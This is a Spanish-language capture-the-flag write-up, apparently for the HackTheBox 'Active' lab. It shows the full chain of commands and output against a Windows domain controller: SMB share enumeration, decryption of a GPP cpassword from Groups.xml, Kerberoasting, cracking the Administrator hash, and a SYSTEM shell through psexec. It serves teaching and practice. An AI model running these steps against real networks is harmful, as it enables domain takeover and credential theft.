Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap, donde encontramos varios puertos abiertos, entre ellos ldap, kerberos, smb, etc.
❯ nmap 10.10.10.100
Nmap scan report for 10.10.10.100
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Con crackmapexec a nivel de smb podemos el nombre DC
que indica que es el Domain Controller, pero tambien encontramos el dominio de la máquina active.htb
❯ crackmapexec smb 10.10.10.100
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
Para que sepa a donde resolver cuando apuntemos al dominio active.htb
lo agregaremos al archivo /etc/hosts
pensando en futuros ataques que pueda haber
❯ echo "10.10.10.100 active.htb" | sudo tee -a /etc/hosts
Listando recursos compartidos en smb encontramos un directorio Replication
que es el unico que generalmente no esta por defecto en los sistemas Windows
❯ crackmapexec smb active.htb -u '' -p '' --shares
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\:
SMB 10.10.10.100 445 DC [*] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL Logon server share
SMB 10.10.10.100 445 DC Users
Nos conectamos al recurso Replication con smbclient donde encontramos un directorio llamado active.htb que a su vez tiene mas directorios dentro de el
❯ impacket-smbclient active.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use Replication
# ls
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 .
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 ..
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 active.htb
# cd active.htb
# ls
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 .
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 ..
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 DfsrPrivate
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 Policies
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 scripts
#
Después de navegar entre los directorios dentro de otros encontramos un archivo Groups.xml
dentro de el directorio Groups dentro de varios otros, en versiones anteriores de windows las contraseñas asociadas a la GPP
se almacenaban en un xml
y aunque esto se modificó en 2014
no afectó las directivas ya creadas
# cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups
# ls
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 .
drw-rw-rw- 0 Sat Jul 21 06:37:44 2018 ..
-rw-rw-rw- 533 Sat Jul 21 06:38:11 2018 Groups.xml
# get Groups.xml
#
Access - SVC_TGS
Leyendo el archivo xml (se ha modificado la identación para hacerlo mas legible) podemos encontrar un campo cpassword
que parece ser una cadena cifrada,
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" >
</User>
</Groups>
Podemos decifrarlo con gpg-decrypt
y obtenemos lo que parece ser una contraseña probablemente para el usuario SVC_TGS
que también podemos ver en el xml
❯ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
Al comprobarla con crackmapexec podemos ver que es válida y listando los recursos compartidos tenemos permiso de lectura en el recurso compartido Users
❯ crackmapexec smb 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 --shares
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
SMB 10.10.10.100 445 DC [+] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON READ Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL READ Logon server share
SMB 10.10.10.100 445 DC Users READ
Entramos proporcionando las credenciales que tenemos y podemos ver directorios de usuarios de la máquina entre ellos el directorio de SVC_TGS que somos nosotros
❯ impacket-smbclient active.htb/SVC_TGS:GPPstillStandingStrong2k18@active.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use Users
# ls
drw-rw-rw- 0 Sat Jul 21 14:39:20 2018 .
drw-rw-rw- 0 Sat Jul 21 14:39:20 2018 ..
drw-rw-rw- 0 Mon Jul 16 10:14:21 2018 Administrator
drw-rw-rw- 0 Mon Jul 16 21:08:56 2018 All Users
drw-rw-rw- 0 Mon Jul 16 21:08:47 2018 Default
drw-rw-rw- 0 Mon Jul 16 21:08:56 2018 Default User
-rw-rw-rw- 174 Mon Jul 16 21:01:17 2018 desktop.ini
drw-rw-rw- 0 Mon Jul 16 21:08:47 2018 Public
drw-rw-rw- 0 Sat Jul 21 15:16:32 2018 SVC_TGS
#
Podemos entrar en el escritorio del usuario SVC_TGS donde encontramos la primera flag asi que la descargamos usando el comando get y la leemos en local
# cd SVC_TGS\Desktop
# ls
drw-rw-rw- 0 Sat Jul 21 15:14:42 2018 .
drw-rw-rw- 0 Sat Jul 21 15:14:42 2018 ..
-rw-rw-rw- 34 Wed Oct 11 03:18:16 2023 user.txt
# get user.txt
# exit
❯ cat user.txt
744**************************e3e
Shell - Administrator
Analizemos, el usuario es SVC_TGS, TGS
es el nombre del hash que se obtiene al realizar un Kerberoasting Attack
que se realiza cuando tienes credenciales validas (que las tenemos), con impacket-GetUserSPNs
podemos probar el Kerberoasting
❯ impacket-GetUserSPNs -request active.htb/SVC_TGS:GPPstillStandingStrong2k18
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 14:06:40.351723 2023-03-16 17:00:58.625320
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$09a952cad825a6d241760e649cfb414b$503a6f0d949c2a01ea1e56871e7f04c26396dface190fcd516a7eccac11a0bc060e2081fff28ab1e30e7545fb38cef7aadf404f061d7df0b58f5e506e5d9f89cedc897db8daa61793fb0b39497cfef978274dbf50137d134be4a561f972da470f7d2ebe4a5fe5c37a02b718b438e8dc14bfa39765b0f3a157728d1e3aace87983e5e09ea248e9f2f105f452ebb3f6de267701265c572712612a841f1b5c2034aba40e37e3960c442f1d5172b82515668c4eba6e19b5b195e8d8884d0901d89f9e8c9726eb3c1838980d4697fb7a48dc623e8eceff556595f161d30d87265164fe104ddf10e6169752e5f987b2de243ecab93091bba8fbd86166e8727159d199429e79490113abdd3bee976d62f3da2c54c1aac61c91a201be97af74d0681d475380ef706a7b8e0cf5e7af0df79813d8fc91e4f5c296cce933d97df8d3229de7ec5e856b8f28db8a07a1122932df83cc6b197842145dfe5e3d8addce35b571a6a0edd35d155486302face24bcff9b011c2c84c374d918d573b0b39e65d037aebcb01c1c8811620fab84f27f223dfc9f179964a4e153d5f2e989de225af17a4cfc33b6b95ac7b19b314462399a25653fc45bb6f096fc304c1872ebcb7c4f01d1c1491799aa1aeecb3990b20ecdf8a2f0b09b5a436daa10774f86dbaa24f0baf9652b499d5a8c10dfd5c279d2d9550131b755f5db0da4d56454c6dade09e90ba7c121105c5ad22fb46063cf2060183d85212d5f01a207146efaa59620149e119e27147b04a6cb51ea557d76a107960354a5641a4ff67843704bd00028dfb0fad2a427eb84361bbcccfb3093f90179ce2e3903b97439d3d270a617acbfb40c0166c8a97eb07715587b1be0ab95a624f4a81eefebd4ae1d7528a7c969b91338a6dc560e5bff96475ea0b9e1977d8522d52d3c35b2b3c074c8359ddb8243160b1ac0fdfc446857a2e58b9c253eccccebb0511d7cfccb1dafa6b527afdbe8a1518f561f6ecc6c0cf565e1e8506d9ca3ff1258a8c2bcc8dc3d200904a90d81623ebee31bb5dcd6be9780a31e2c3bb5abc7c7808b5b3d5237baae18b9b915caa04b05e55953be5a0d55447ee0e8580984b1e4c34e9556dd3a88e040dd243dcb094610db1716c77c59c1b0cc9a363ccd5c186076447831b2fbf5522cced9a7a8dffc811f6e3c9e2bba7a6f6fa4bdf75c03aae92b884a8b6cac6e1ef6e0a7e5a101d6c9303ead1a72411161c7d358eaa090d4cb226e23b39416a1a5d759314d
Obtuvimos un hash de Administrator
, con john aplicando fuerza bruta con el rockyou.txt, conseguimos su contraseña en texto claro Ticketmaster1968
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Podemos comprobarlos con crackmapexec, y nos devuelve que son válidas y como es el usuario Administrator también devuelve Pwn3d!
tenemos privilegios máximos
❯ crackmapexec smb 10.10.10.100 -u Administrator -p Ticketmaster1968
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
Nos conectamos con psexec
de impacket y como el usuario nt authority\system
obtenemos una cmd ahora tenemos privilegios para poder leer la flag de root
❯ impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file EyxmRtlA.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service bBra on 10.10.10.100.....
[*] Starting service bBra.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
457**************************19b
C:\Windows\system32>